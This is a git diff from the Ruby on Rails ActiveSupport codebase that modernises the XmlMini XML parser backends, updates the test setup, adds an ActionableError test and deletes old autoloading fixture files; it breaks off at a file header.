index 782fb4128845d..c6d7ce5b7c251 100644
--- a/activesupport/lib/active_support/xml_mini.rb
+++ b/activesupport/lib/active_support/xml_mini.rb
@@ -1,22 +1,25 @@
+# frozen_string_literal: true
+
 require "time"
 require "base64"
 require "bigdecimal"
+require "bigdecimal/util"
 require "active_support/core_ext/module/delegation"
 require "active_support/core_ext/string/inflections"
 require "active_support/core_ext/date_time/calculations"
 
 module ActiveSupport
-  # = XmlMini
+  # = \XmlMini
   #
   # To use the much faster libxml parser:
-  #   gem 'libxml-ruby', '=0.9.7'
+  #   gem "libxml-ruby"
   #   XmlMini.backend = 'LibXML'
   module XmlMini
     extend self
 
     # This module decorates files deserialized using Hash.from_xml with
     # the <tt>original_filename</tt> and <tt>content_type</tt> methods.
-    module FileLike #:nodoc:
+    module FileLike # :nodoc:
       attr_writer :original_filename, :content_type
 
       def original_filename
@@ -43,46 +46,44 @@ def content_type
         "Date"       => "date",
         "DateTime"   => "dateTime",
         "Time"       => "dateTime",
+        "ActiveSupport::Duration" => "duration",
         "Array"      => "array",
         "Hash"       => "hash"
       }
-
-      # No need to map these on Ruby 2.4+
-      TYPE_NAMES["Fixnum"] = "integer" unless 0.class == Integer
-      TYPE_NAMES["Bignum"] = "integer" unless 0.class == Integer
     end
+    TYPE_NAMES["ActiveSupport::TimeWithZone"] = TYPE_NAMES["Time"]
 
     FORMATTING = {
       "symbol"   => Proc.new { |symbol| symbol.to_s },
-      "date"     => Proc.new { |date| date.to_s(:db) },
+      "date"     => Proc.new { |date| date.to_fs(:db) },
       "dateTime" => Proc.new { |time| time.xmlschema },
+      "duration" => Proc.new { |duration| duration.iso8601 },
       "binary"   => Proc.new { |binary| ::Base64.encode64(binary) },
       "yaml"     => Proc.new { |yaml| yaml.to_yaml }
     } unless defined?(FORMATTING)
 
-    # TODO use regexp instead of Date.parse
     unless defined?(PARSING)
       PARSING = {
         "symbol"       => Proc.new { |symbol|  symbol.to_s.to_sym },
-        "date"         => Proc.new { |date|    ::Date.parse(date) },
+        "date"         => Proc.new { |date|    ::Date.strptime(date, "%Y-%m-%d") },
         "datetime"     => Proc.new { |time|    Time.xmlschema(time).utc rescue ::DateTime.parse(time).utc },
+        "duration"     => Proc.new { |duration| Duration.parse(duration) },
         "integer"      => Proc.new { |integer| integer.to_i },
         "float"        => Proc.new { |float|   float.to_f },
         "decimal"      => Proc.new do |number|
           if String === number
-            begin
-              BigDecimal(number)
-            rescue ArgumentError
-              BigDecimal("0")
-            end
+            number.to_d
+          elsif Float === number
+            BigDecimal(number, 0)
           else
             BigDecimal(number)
           end
         end,
         "boolean"      => Proc.new { |boolean| %w(1 true).include?(boolean.to_s.strip) },
         "string"       => Proc.new { |string|  string.to_s },
-        "yaml"         => Proc.new { |yaml|    YAML::load(yaml) rescue yaml },
+        "yaml"         => Proc.new { |yaml|    YAML.load(yaml) rescue yaml },
         "base64Binary" => Proc.new { |bin|     ::Base64.decode64(bin) },
+        "hexBinary"    => Proc.new { |bin|     _parse_hex_binary(bin) },
         "binary"       => Proc.new { |bin, entity| _parse_binary(bin, entity) },
         "file"         => Proc.new { |file, entity| _parse_file(file, entity) }
       }
@@ -160,18 +161,18 @@ def rename_key(key, options = {})
     end
 
     private
-
       def _dasherize(key)
         # $2 must be a non-greedy regex for this to work
         left, middle, right = /\A(_*)(.*?)(_*)\Z/.match(key.strip)[1, 3]
         "#{left}#{middle.tr('_ ', '--')}#{right}"
       end
 
-      # TODO: Add support for other encodings
       def _parse_binary(bin, entity)
         case entity["encoding"]
         when "base64"
           ::Base64.decode64(bin)
+        when "hex", "hexBinary"
+          _parse_hex_binary(bin)
         else
           bin
         end
@@ -185,12 +186,16 @@ def _parse_file(file, entity)
         f
       end
 
+      def _parse_hex_binary(bin)
+        [bin].pack("H*")
+      end
+
       def current_thread_backend
-        Thread.current[:xml_mini_backend]
+        IsolatedExecutionState[:xml_mini_backend]
       end
 
       def current_thread_backend=(name)
-        Thread.current[:xml_mini_backend] = name && cast_backend_name_to_module(name)
+        IsolatedExecutionState[:xml_mini_backend] = name && cast_backend_name_to_module(name)
       end
 
       def cast_backend_name_to_module(name)
diff --git a/activesupport/lib/active_support/xml_mini/jdom.rb b/activesupport/lib/active_support/xml_mini/jdom.rb
index a7939b3185ad2..f1bc0fe7c2e6b 100644
--- a/activesupport/lib/active_support/xml_mini/jdom.rb
+++ b/activesupport/lib/active_support/xml_mini/jdom.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 raise "JRuby is required to use the JDOM backend for XmlMini" unless RUBY_PLATFORM.include?("java")
 
 require "jruby"
@@ -13,17 +15,10 @@
 java_import org.w3c.dom.Node unless defined? Node
 
 module ActiveSupport
-  module XmlMini_JDOM #:nodoc:
+  module XmlMini_JDOM # :nodoc:
     extend self
 
-    CONTENT_KEY = "__content__".freeze
-
-    NODE_TYPE_NAMES = %w{ATTRIBUTE_NODE CDATA_SECTION_NODE COMMENT_NODE DOCUMENT_FRAGMENT_NODE
-    DOCUMENT_NODE DOCUMENT_TYPE_NODE ELEMENT_NODE ENTITY_NODE ENTITY_REFERENCE_NODE NOTATION_NODE
-    PROCESSING_INSTRUCTION_NODE TEXT_NODE}
-
-    node_type_map = {}
-    NODE_TYPE_NAMES.each { |type| node_type_map[Node.send(type)] = type }
+    CONTENT_KEY = "__content__"
 
     # Parse an XML Document string or IO into a simple hash using Java's jdom.
     # data::
@@ -38,7 +33,7 @@ def parse(data)
       else
         @dbf = DocumentBuilderFactory.new_instance
         # secure processing of java xml
-        # http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html
+        # https://archive.is/9xcQQ
         @dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false)
         @dbf.setFeature("http://xml.org/sax/features/external-general-entities", false)
         @dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false)
@@ -51,7 +46,6 @@ def parse(data)
     end
 
     private
-
       # Convert an XML element and merge into the hash
       #
       # hash::
@@ -79,7 +73,7 @@ def collapse(element, depth)
         if child_nodes.length > 0
           (0...child_nodes.length).each do |i|
             child = child_nodes.item(i)
-            merge_element!(hash, child, depth - 1) unless child.node_type == Node.TEXT_NODE
+            merge_element!(hash, child, depth - 1) unless child.node_type == Node::TEXT_NODE
           end
           merge_texts!(hash, element) unless empty_content?(element)
           hash
@@ -155,7 +149,7 @@ def texts(element)
         child_nodes = element.child_nodes
         (0...child_nodes.length).each do |i|
           item = child_nodes.item(i)
-          if item.node_type == Node.TEXT_NODE
+          if item.node_type == Node::TEXT_NODE
             texts << item.get_data
           end
         end
@@ -167,11 +161,11 @@ def texts(element)
       # element::
       #   XML element to be checked.
       def empty_content?(element)
-        text = ""
+        text = +""
         child_nodes = element.child_nodes
         (0...child_nodes.length).each do |i|
           item = child_nodes.item(i)
-          if item.node_type == Node.TEXT_NODE
+          if item.node_type == Node::TEXT_NODE
             text << item.get_data.strip
           end
         end
diff --git a/activesupport/lib/active_support/xml_mini/libxml.rb b/activesupport/lib/active_support/xml_mini/libxml.rb
index 44b0bdb7dc7ec..65976a2b59e85 100644
--- a/activesupport/lib/active_support/xml_mini/libxml.rb
+++ b/activesupport/lib/active_support/xml_mini/libxml.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "libxml"
 require "active_support/core_ext/object/blank"
 require "stringio"
 
 module ActiveSupport
-  module XmlMini_LibXML #:nodoc:
+  module XmlMini_LibXML # :nodoc:
     extend self
 
     # Parse an XML Document string or IO into a simple hash using libxml.
@@ -14,27 +16,25 @@ def parse(data)
         data = StringIO.new(data || "")
       end
 
-      char = data.getc
-      if char.nil?
+      if data.eof?
         {}
       else
-        data.ungetc(char)
         LibXML::XML::Parser.io(data).parse.to_hash
       end
     end
   end
 end
 
-module LibXML #:nodoc:
-  module Conversions #:nodoc:
-    module Document #:nodoc:
+module LibXML # :nodoc:
+  module Conversions # :nodoc:
+    module Document # :nodoc:
       def to_hash
         root.to_hash
       end
     end
 
-    module Node #:nodoc:
-      CONTENT_ROOT = "__content__".freeze
+    module Node # :nodoc:
+      CONTENT_ROOT = "__content__"
 
       # Convert XML document to hash.
       #
@@ -55,7 +55,7 @@ def to_hash(hash = {})
           if c.element?
             c.to_hash(node_hash)
           elsif c.text? || c.cdata?
-            node_hash[CONTENT_ROOT] ||= ""
+            node_hash[CONTENT_ROOT] ||= +""
             node_hash[CONTENT_ROOT] << c.content
           end
         end
@@ -74,5 +74,7 @@ def to_hash(hash = {})
   end
 end
 
+# :enddoc:
+
 LibXML::XML::Document.include(LibXML::Conversions::Document)
 LibXML::XML::Node.include(LibXML::Conversions::Node)
diff --git a/activesupport/lib/active_support/xml_mini/libxmlsax.rb b/activesupport/lib/active_support/xml_mini/libxmlsax.rb
index 8a43b05b17aa2..33d594c414091 100644
--- a/activesupport/lib/active_support/xml_mini/libxmlsax.rb
+++ b/activesupport/lib/active_support/xml_mini/libxmlsax.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "libxml"
 require "active_support/core_ext/object/blank"
 require "stringio"
 
 module ActiveSupport
-  module XmlMini_LibXMLSAX #:nodoc:
+  module XmlMini_LibXMLSAX # :nodoc:
     extend self
 
     # Class that will build the hash while the XML document
@@ -11,8 +13,8 @@ module XmlMini_LibXMLSAX #:nodoc:
     class HashBuilder
       include LibXML::XML::SaxParser::Callbacks
 
-      CONTENT_KEY   = "__content__".freeze
-      HASH_SIZE_KEY = "__hash_size__".freeze
+      CONTENT_KEY   = "__content__"
+      HASH_SIZE_KEY = "__hash_size__"
 
       attr_reader :hash
 
@@ -21,7 +23,7 @@ def current_hash
       end
 
       def on_start_document
-        @hash = { CONTENT_KEY => "" }
+        @hash = { CONTENT_KEY => +"" }
         @hash_stack = [@hash]
       end
 
@@ -31,7 +33,7 @@ def on_end_document
       end
 
       def on_start_element(name, attrs = {})
-        new_hash = { CONTENT_KEY => "" }.merge!(attrs)
+        new_hash = { CONTENT_KEY => +"" }.merge!(attrs)
         new_hash[HASH_SIZE_KEY] = new_hash.size + 1
 
         case current_hash[name]
@@ -65,12 +67,9 @@ def parse(data)
         data = StringIO.new(data || "")
       end
 
-      char = data.getc
-      if char.nil?
+      if data.eof?
         {}
       else
-        data.ungetc(char)
-
         LibXML::XML::Error.set_handler(&LibXML::XML::Error::QUIET_HANDLER)
         parser = LibXML::XML::SaxParser.io(data)
         document = document_class.new
diff --git a/activesupport/lib/active_support/xml_mini/nokogiri.rb b/activesupport/lib/active_support/xml_mini/nokogiri.rb
index 4c2be3f3ec454..3d9cf3423b198 100644
--- a/activesupport/lib/active_support/xml_mini/nokogiri.rb
+++ b/activesupport/lib/active_support/xml_mini/nokogiri.rb
@@ -1,14 +1,16 @@
+# frozen_string_literal: true
+
 begin
   require "nokogiri"
 rescue LoadError => e
-  $stderr.puts "You don't have nokogiri installed in your application. Please add it to your Gemfile and run bundle install"
+  warn "You don't have nokogiri installed in your application. Please add it to your Gemfile and run bundle install"
   raise e
 end
 require "active_support/core_ext/object/blank"
 require "stringio"
 
 module ActiveSupport
-  module XmlMini_Nokogiri #:nodoc:
+  module XmlMini_Nokogiri # :nodoc:
     extend self
 
     # Parse an XML Document string or IO into a simple hash using libxml / nokogiri.
@@ -19,26 +21,24 @@ def parse(data)
         data = StringIO.new(data || "")
       end
 
-      char = data.getc
-      if char.nil?
+      if data.eof?
         {}
       else
-        data.ungetc(char)
         doc = Nokogiri::XML(data)
         raise doc.errors.first if doc.errors.length > 0
         doc.to_hash
       end
     end
 
-    module Conversions #:nodoc:
-      module Document #:nodoc:
+    module Conversions # :nodoc:
+      module Document # :nodoc:
         def to_hash
           root.to_hash
         end
       end
 
-      module Node #:nodoc:
-        CONTENT_ROOT = "__content__".freeze
+      module Node # :nodoc:
+        CONTENT_ROOT = "__content__"
 
         # Convert XML document to hash.
         #
@@ -59,7 +59,7 @@ def to_hash(hash = {})
             if c.element?
               c.to_hash(node_hash)
             elsif c.text? || c.cdata?
-              node_hash[CONTENT_ROOT] ||= ""
+              node_hash[CONTENT_ROOT] ||= +""
               node_hash[CONTENT_ROOT] << c.content
             end
           end
diff --git a/activesupport/lib/active_support/xml_mini/nokogirisax.rb b/activesupport/lib/active_support/xml_mini/nokogirisax.rb
index 7388bea5d8b72..9316f92b1b8bf 100644
--- a/activesupport/lib/active_support/xml_mini/nokogirisax.rb
+++ b/activesupport/lib/active_support/xml_mini/nokogirisax.rb
@@ -1,21 +1,23 @@
+# frozen_string_literal: true
+
 begin
   require "nokogiri"
 rescue LoadError => e
-  $stderr.puts "You don't have nokogiri installed in your application. Please add it to your Gemfile and run bundle install"
+  warn "You don't have nokogiri installed in your application. Please add it to your Gemfile and run bundle install"
   raise e
 end
 require "active_support/core_ext/object/blank"
 require "stringio"
 
 module ActiveSupport
-  module XmlMini_NokogiriSAX #:nodoc:
+  module XmlMini_NokogiriSAX # :nodoc:
     extend self
 
     # Class that will build the hash while the XML document
     # is being parsed using SAX events.
     class HashBuilder < Nokogiri::XML::SAX::Document
-      CONTENT_KEY   = "__content__".freeze
-      HASH_SIZE_KEY = "__hash_size__".freeze
+      CONTENT_KEY   = "__content__"
+      HASH_SIZE_KEY = "__hash_size__"
 
       attr_reader :hash
 
@@ -37,7 +39,7 @@ def error(error_message)
       end
 
       def start_element(name, attrs = [])
-        new_hash = { CONTENT_KEY => "" }.merge!(Hash[attrs])
+        new_hash = { CONTENT_KEY => +"" }.merge!(Hash[attrs])
         new_hash[HASH_SIZE_KEY] = new_hash.size + 1
 
         case current_hash[name]
@@ -71,11 +73,9 @@ def parse(data)
         data = StringIO.new(data || "")
       end
 
-      char = data.getc
-      if char.nil?
+      if data.eof?
         {}
       else
-        data.ungetc(char)
         document = document_class.new
         parser = Nokogiri::XML::SAX::Parser.new(document)
         parser.parse(data)
diff --git a/activesupport/lib/active_support/xml_mini/rexml.rb b/activesupport/lib/active_support/xml_mini/rexml.rb
index 03fa910fa5518..393749ab6d88c 100644
--- a/activesupport/lib/active_support/xml_mini/rexml.rb
+++ b/activesupport/lib/active_support/xml_mini/rexml.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/kernel/reporting"
 require "active_support/core_ext/object/blank"
 require "stringio"
 
 module ActiveSupport
-  module XmlMini_REXML #:nodoc:
+  module XmlMini_REXML # :nodoc:
     extend self
 
-    CONTENT_KEY = "__content__".freeze
+    CONTENT_KEY = "__content__"
 
     # Parse an XML Document string or IO into a simple hash.
     #
@@ -23,7 +25,7 @@ def parse(data)
       if data.eof?
         {}
       else
-        silence_warnings { require "rexml/document" } unless defined?(REXML::Document)
+        require_rexml unless defined?(REXML::Document)
         doc = REXML::Document.new(data)
 
         if doc.root
@@ -36,6 +38,13 @@ def parse(data)
     end
 
     private
+      def require_rexml
+        silence_warnings { require "rexml/document" }
+      rescue LoadError => e
+        warn "You don't have rexml installed in your application. Please add it to your Gemfile and run bundle install"
+        raise e
+      end
+
       # Convert an XML element and merge into the hash
       #
       # hash::
@@ -74,7 +83,7 @@ def merge_texts!(hash, element)
           hash
         else
           # must use value to prevent double-escaping
-          texts = ""
+          texts = +""
           element.texts.each { |t| texts << t.value }
           merge!(hash, CONTENT_KEY, texts)
         end
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
index c4f34c0abfddc..a03d2a99bae70 100644
--- a/activesupport/test/abstract_unit.rb
+++ b/activesupport/test/abstract_unit.rb
@@ -1,5 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "../../tools/strict_warnings"
+
 ORIG_ARGV = ARGV.dup
 
+require "bundler/setup"
 require "active_support/core_ext/kernel/reporting"
 
 silence_warnings do
@@ -9,6 +14,7 @@
 
 require "active_support/testing/autorun"
 require "active_support/testing/method_call_assertions"
+require "active_support/testing/error_reporter_assertions"
 
 ENV["NO_RELOAD"] = "1"
 require "active_support"
@@ -16,24 +22,22 @@
 Thread.abort_on_exception = true
 
 # Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
+ActiveSupport.deprecator.behavior = :raise
 
-# Default to old to_time behavior but allow running tests with new behavior
-ActiveSupport.to_time_preserves_timezone = ENV["PRESERVE_TIMEZONES"] == "1"
+ActiveSupport::Cache.format_version = 7.1
 
 # Disable available locale checks to avoid warnings running the test suite.
 I18n.enforce_available_locales = false
 
 class ActiveSupport::TestCase
-  include ActiveSupport::Testing::MethodCallAssertions
-
-  # Skips the current run on Rubinius using Minitest::Assertions#skip
-  private def rubinius_skip(message = "")
-    skip message if RUBY_ENGINE == "rbx"
+  if Process.respond_to?(:fork) && !Gem.win_platform?
+    parallelize
+  else
+    parallelize(with: :threads)
   end
 
-  # Skips the current run on JRuby using Minitest::Assertions#skip
-  private def jruby_skip(message = "")
-    skip message if defined?(JRUBY_VERSION)
-  end
+  include ActiveSupport::Testing::MethodCallAssertions
+  include ActiveSupport::Testing::ErrorReporterAssertions
 end
+
+require_relative "../../tools/test_common"
diff --git a/activesupport/test/actionable_error_test.rb b/activesupport/test/actionable_error_test.rb
new file mode 100644
index 0000000000000..7ee9e5f36dc86
--- /dev/null
+++ b/activesupport/test/actionable_error_test.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/actionable_error"
+
+class ActionableErrorTest < ActiveSupport::TestCase
+  NonActionableError = Class.new(StandardError)
+
+  class DispatchableError < StandardError
+    include ActiveSupport::ActionableError
+
+    class_attribute :flip1, default: false
+    class_attribute :flip2, default: false
+
+    action "Flip 1" do
+      self.flip1 = true
+    end
+
+    action "Flip 2" do
+      self.flip2 = true
+    end
+  end
+
+  test "returns all action of an actionable error" do
+    assert_equal ["Flip 1", "Flip 2"], ActiveSupport::ActionableError.actions(DispatchableError).keys
+    assert_equal ["Flip 1", "Flip 2"], ActiveSupport::ActionableError.actions(DispatchableError.new).keys
+  end
+
+  test "returns no actions for non-actionable errors" do
+    assert_predicate ActiveSupport::ActionableError.actions(Exception), :empty?
+    assert_predicate ActiveSupport::ActionableError.actions(Exception.new), :empty?
+  end
+
+  test "dispatches actions from error and name" do
+    assert_changes "DispatchableError.flip1", from: false, to: true do
+      ActiveSupport::ActionableError.dispatch DispatchableError, "Flip 1"
+    end
+  end
+
+  test "cannot dispatch missing actions" do
+    err = assert_raises ActiveSupport::ActionableError::NonActionable do
+      ActiveSupport::ActionableError.dispatch NonActionableError, "action"
+    end
+
+    assert_equal 'Cannot find action "action"', err.to_s
+  end
+end
diff --git a/activesupport/test/array_inquirer_test.rb b/activesupport/test/array_inquirer_test.rb
index 5b2bc82905966..2c31c50fc6006 100644
--- a/activesupport/test/array_inquirer_test.rb
+++ b/activesupport/test/array_inquirer_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/core_ext/array"
 
 class ArrayInquirerTest < ActiveSupport::TestCase
@@ -7,9 +9,9 @@ def setup
   end
 
   def test_individual
-    assert @array_inquirer.mobile?
-    assert @array_inquirer.tablet?
-    assert_not @array_inquirer.desktop?
+    assert_predicate @array_inquirer, :mobile?
+    assert_predicate @array_inquirer, :tablet?
+    assert_not_predicate @array_inquirer, :desktop?
   end
 
   def test_any
diff --git a/activesupport/test/autoload_test.rb b/activesupport/test/autoload_test.rb
index 6c8aa3e0555e4..52be2b5018ddd 100644
--- a/activesupport/test/autoload_test.rb
+++ b/activesupport/test/autoload_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 
 class TestAutoloadModule < ActiveSupport::TestCase
   include ActiveSupport::Testing::Isolation
@@ -14,6 +16,11 @@ module Autoload
   def setup
     @some_class_path = File.expand_path("test/fixtures/autoload/some_class.rb")
     @another_class_path = File.expand_path("test/fixtures/autoload/another_class.rb")
+    $LOAD_PATH << "test"
+  end
+
+  def teardown
+    $LOAD_PATH.pop
   end
 
   test "the autoload module works like normal autoload" do
diff --git a/activesupport/test/autoloading_fixtures/a/b.rb b/activesupport/test/autoloading_fixtures/a/b.rb
deleted file mode 100644
index 0dbbbbd181e5b..0000000000000
--- a/activesupport/test/autoloading_fixtures/a/b.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class A::B
-end
diff --git a/activesupport/test/autoloading_fixtures/a/c/d.rb b/activesupport/test/autoloading_fixtures/a/c/d.rb
deleted file mode 100644
index 2c0ec5f182c2d..0000000000000
--- a/activesupport/test/autoloading_fixtures/a/c/d.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class A::C::D
-end
diff --git a/activesupport/test/autoloading_fixtures/a/c/em/f.rb b/activesupport/test/autoloading_fixtures/a/c/em/f.rb
deleted file mode 100644
index 3ff1b7efa0b58..0000000000000
--- a/activesupport/test/autoloading_fixtures/a/c/em/f.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class A::C::EM::F
-end
diff --git a/activesupport/test/autoloading_fixtures/application.rb b/activesupport/test/autoloading_fixtures/application.rb
deleted file mode 100644
index d7d3096dcb226..0000000000000
--- a/activesupport/test/autoloading_fixtures/application.rb
+++ /dev/null
@@ -1 +0,0 @@
-ApplicationController = 10
diff --git a/activesupport/test/autoloading_fixtures/circular1.rb b/activesupport/test/autoloading_fixtures/circular1.rb
deleted file mode 100644
index a45761f066914..0000000000000
--- a/activesupport/test/autoloading_fixtures/circular1.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-silence_warnings do
-  Circular2
-end
-
-class Circular1
-end
diff --git a/activesupport/test/autoloading_fixtures/circular2.rb b/activesupport/test/autoloading_fixtures/circular2.rb
deleted file mode 100644
index c847fa5001438..0000000000000
--- a/activesupport/test/autoloading_fixtures/circular2.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-Circular1
-
-class Circular2
-end
diff --git a/activesupport/test/autoloading_fixtures/class_folder.rb b/activesupport/test/autoloading_fixtures/class_folder.rb
deleted file mode 100644
index 6ee8182214210..0000000000000
--- a/activesupport/test/autoloading_fixtures/class_folder.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class ClassFolder
-  ConstantInClassFolder = "indeed"
-end
diff --git a/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb b/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
deleted file mode 100644
index 4df069cab6546..0000000000000
--- a/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class ClassFolder::ClassFolderSubclass < ClassFolder
-  ConstantInClassFolder = "indeed"
-end
diff --git a/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb b/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb
deleted file mode 100644
index 8235e907240d6..0000000000000
--- a/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class ClassFolder::InlineClass
-end
diff --git a/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb b/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb
deleted file mode 100644
index 57a13d89ea2d2..0000000000000
--- a/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class ClassFolder
-  class NestedClass
-  end
-
-  class SiblingClass
-  end
-end
diff --git a/activesupport/test/autoloading_fixtures/conflict.rb b/activesupport/test/autoloading_fixtures/conflict.rb
deleted file mode 100644
index d7f42b5d5fa7f..0000000000000
--- a/activesupport/test/autoloading_fixtures/conflict.rb
+++ /dev/null
@@ -1 +0,0 @@
-Conflict = 2
diff --git a/activesupport/test/autoloading_fixtures/counting_loader.rb b/activesupport/test/autoloading_fixtures/counting_loader.rb
deleted file mode 100644
index 4225c4412c7ad..0000000000000
--- a/activesupport/test/autoloading_fixtures/counting_loader.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-$counting_loaded_times ||= 0
-$counting_loaded_times += 1
-
-module CountingLoader
-end
diff --git a/activesupport/test/autoloading_fixtures/cross_site_dependency.rb b/activesupport/test/autoloading_fixtures/cross_site_dependency.rb
deleted file mode 100644
index de941bf2718b7..0000000000000
--- a/activesupport/test/autoloading_fixtures/cross_site_dependency.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class CrossSiteDependency
-end
diff --git a/activesupport/test/autoloading_fixtures/d.rb b/activesupport/test/autoloading_fixtures/d.rb
deleted file mode 100644
index 52850e1e1a050..0000000000000
--- a/activesupport/test/autoloading_fixtures/d.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class D
-end
diff --git a/activesupport/test/autoloading_fixtures/em.rb b/activesupport/test/autoloading_fixtures/em.rb
deleted file mode 100644
index e47024999ebf0..0000000000000
--- a/activesupport/test/autoloading_fixtures/em.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class EM
-end
diff --git a/activesupport/test/autoloading_fixtures/html/some_class.rb b/activesupport/test/autoloading_fixtures/html/some_class.rb
deleted file mode 100644
index b43d15d8917ac..0000000000000
--- a/activesupport/test/autoloading_fixtures/html/some_class.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-module HTML
-  class SomeClass
-  end
-end
diff --git a/activesupport/test/autoloading_fixtures/load_path/loaded_constant.rb b/activesupport/test/autoloading_fixtures/load_path/loaded_constant.rb
deleted file mode 100644
index d2c4f6b0c5e48..0000000000000
--- a/activesupport/test/autoloading_fixtures/load_path/loaded_constant.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module LoadedConstant
-end
diff --git a/activesupport/test/autoloading_fixtures/loads_constant.rb b/activesupport/test/autoloading_fixtures/loads_constant.rb
deleted file mode 100644
index 0b30dc8bca766..0000000000000
--- a/activesupport/test/autoloading_fixtures/loads_constant.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-module LoadsConstant
-end
-
-# The _ = assignment is to prevent warnings
-_ = RequiresConstant
diff --git a/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb b/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb
deleted file mode 100644
index ca834370467ad..0000000000000
--- a/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class ModuleFolder::InlineClass
-end
diff --git a/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb b/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb
deleted file mode 100644
index fc4076bd0a635..0000000000000
--- a/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-module ModuleFolder
-  class NestedClass
-  end
-end
diff --git a/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb b/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb
deleted file mode 100644
index 04c426833e1a5..0000000000000
--- a/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class ModuleFolder::NestedSibling
-end
diff --git a/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb b/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb
deleted file mode 100644
index 4f2020c503584..0000000000000
--- a/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb
+++ /dev/null
@@ -1 +0,0 @@
-ModuleWithCustomConstMissing::A::B = "10"
diff --git a/activesupport/test/autoloading_fixtures/multiple_constant_file.rb b/activesupport/test/autoloading_fixtures/multiple_constant_file.rb
deleted file mode 100644
index a9ff4eb89cbbb..0000000000000
--- a/activesupport/test/autoloading_fixtures/multiple_constant_file.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-MultipleConstantFile = 10
-SiblingConstant = MultipleConstantFile * 2
diff --git a/activesupport/test/autoloading_fixtures/prepend.rb b/activesupport/test/autoloading_fixtures/prepend.rb
deleted file mode 100644
index 3134d1df2bcb9..0000000000000
--- a/activesupport/test/autoloading_fixtures/prepend.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-class SubClassConflict
-end
-
-class Prepend
-  module PrependedModule
-  end
-  prepend PrependedModule
-end
diff --git a/activesupport/test/autoloading_fixtures/prepend/sub_class_conflict.rb b/activesupport/test/autoloading_fixtures/prepend/sub_class_conflict.rb
deleted file mode 100644
index 090dda30434a6..0000000000000
--- a/activesupport/test/autoloading_fixtures/prepend/sub_class_conflict.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class Prepend::SubClassConflict
-end
diff --git a/activesupport/test/autoloading_fixtures/raises_arbitrary_exception.rb b/activesupport/test/autoloading_fixtures/raises_arbitrary_exception.rb
deleted file mode 100644
index e477ab21d02ac..0000000000000
--- a/activesupport/test/autoloading_fixtures/raises_arbitrary_exception.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-RaisesArbitraryException = 1
-_ = A::B # Autoloading recursion, also expected to be watched and discarded.
-
-raise Exception, "arbitrary exception message"
diff --git a/activesupport/test/autoloading_fixtures/raises_load_error.rb b/activesupport/test/autoloading_fixtures/raises_load_error.rb
new file mode 100644
index 0000000000000..f97be29b71dde
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/raises_load_error.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+# raises a load error typical of the dynamic code that manually raises load errors
+raise LoadError, "required gem not present kind of error"
diff --git a/activesupport/test/autoloading_fixtures/raises_name_error.rb b/activesupport/test/autoloading_fixtures/raises_name_error.rb
index a49960abf0e26..c23afb7b12d24 100644
--- a/activesupport/test/autoloading_fixtures/raises_name_error.rb
+++ b/activesupport/test/autoloading_fixtures/raises_name_error.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class RaisesNameError
   FooBarBaz
 end
diff --git a/activesupport/test/autoloading_fixtures/raises_no_method_error.rb b/activesupport/test/autoloading_fixtures/raises_no_method_error.rb
